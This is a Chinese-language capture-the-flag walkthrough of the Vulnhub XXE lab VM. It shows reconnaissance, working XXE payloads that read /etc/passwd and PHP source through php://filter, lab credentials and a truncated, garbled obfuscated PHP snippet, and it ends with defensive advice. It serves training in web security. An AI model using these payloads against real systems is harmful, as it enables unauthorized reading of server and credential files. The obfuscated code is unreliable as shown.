Vulnhub-XXE靶机学习
字数 1136 2025-08-15 21:30:53
XXE靶机渗透测试实战教学文档
0x00 靶机概述
本靶机是一个专门设计用于学习XXE(XML External Entity)漏洞的Vulnhub环境,包含多种漏洞利用场景,适合中高级渗透测试人员练习。
0x01 环境准备
- 下载靶机镜像并导入VMware/VirtualBox
- 确保攻击机与靶机在同一网络
- 使用
nmap扫描确定靶机IP地址
0x02 信息收集
初始扫描
nmap -A <靶机IP>
扫描结果关键发现:
- Apache 2默认页面
robots.txt文件存在,包含敏感路径:/xxe- 禁用路径/admin.php- 禁用路径
访问关键路径
- 访问
/xxe路径发现登录表单 - 测试发现用户名会回显在页面上
- 分析页面JavaScript代码,发现XML数据传输方式
0x03 XXE漏洞分析
漏洞点分析
登录功能使用XML格式传输数据:
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<password>' + $('#password').val() + '</password>' +
'</root>';
XXE漏洞验证
构造恶意XML读取/etc/passwd:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
<password>test</password>
</root>
0x04 漏洞利用
文件包含攻击
- 使用PHP包装器读取
admin.php源码:
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
- Base64解码后获取
admin.php源码
关键发现
admin.php源码分析:
- 硬编码凭证:
- 用户名:
administhebest - 密码MD5:
e6e061838856bf47e1de730719fb2609(解密为admin@123)
- 用户名:
- 登录成功后会显示Flag链接:
/flagmeout.php
获取Flag
- 使用XXE读取
flagmeout.php:
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
- 解码后发现Base32编码的提示:
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5 - 解码得到路径提示:
/etc/.flag.php - 最终读取
/etc/.flag.php获取混淆的PHP webshell代码
0x05 混淆代码分析
混淆PHP代码
$_脌脌=+_;$脕脕=$脗脗=$脙脙=$脛脛=$脝脝=$脠脠=$脡脡=$脢脢=$脣脣=++$脕脕[];$脗脗++;$脙脙++;$脙脙++;$脛脛++;$脛脛++;$脛脛++;$脝脝++;$脝脝++;$脝脝++;$脝脝++;$脠脠++;$脠脠++;$脠脠++;$脠脠++;$脠脠++;$脡脡++;$脡脡++;$脡脡++;$脡脡++;$脡脡++;$脡脡++;$脢脢++;$脢脢++;$脢脢++;$脢脢++;$脢脢++;$脢脢++;$脢脢++;$脣脣++;$脣脣++;$脣脣++;$脣脣++;$脣脣++;$脣脣++;$脣脣+脕脕.$脗脗.$脙脙.$___.$脕脕.$脌脌.$脕脕.$___.$脕脕.$脌脌.$脠脠.$___.$脕脕.$脌脌.$脙脙.$___.$脕脕.$脗脗.$脙脙.$___.$脕脕.$脗脗.$脌脌.$___.$脕脕.$脡脡.$脙脙.$___.$脕脕.$脡脡.$脌脌.$___.$脕脕.$脡脡.$脌脌.$___.$脕脕.$脛脛.$脝脝.$___.$脕脕.$脙脙.$脡脡.$___.$脕脕.$脝脝.$脕脕.$___.$脕脕.$脠脠.$脙脙.$___.$脕脕.$脙脙.$脡脡.$___.$脕脕.$脠脠.$脙脙.$___.$脕脕.$脝脝.$脡脡.$___.$脕脕.$脙脙.$脡脡.$___.$脕脕.$脛脛.$脝脝.$___.$脕脕.$脛脛.$脕脕.$___.$脕脕.$脠脠.$脙脙.$___.$脕脕.$脡脡.$脕脕.$___.$脕脕.$脡脡.$脝脝.
执行方法
- 将代码保存为PHP文件
- 在本地PHP环境中执行(需开启错误显示)
- 输出结果即为Flag
0x06 替代路径
通过目录爆破发现/xxe/admin.php路径,可使用获取的凭证登录:
- 用户名:
administhebest - 密码:
admin@123
登录后会直接显示Flag链接(指向flagmeout.php)
0x07 总结
本靶机渗透测试流程:
- 信息收集发现
/xxe路径 - 分析XML数据传输方式
- 利用XXE漏洞读取系统文件
- 获取
admin.php源码并分析 - 通过文件包含获取Flag相关文件
- 解码混淆的PHP代码获取最终Flag
0x08 防御建议
- 禁用XML外部实体解析:
libxml_disable_entity_loader(true); - 使用JSON替代XML传输数据
- 对用户输入进行严格过滤
- 避免在代码中硬编码敏感凭证
- 对服务器文件系统进行适当权限控制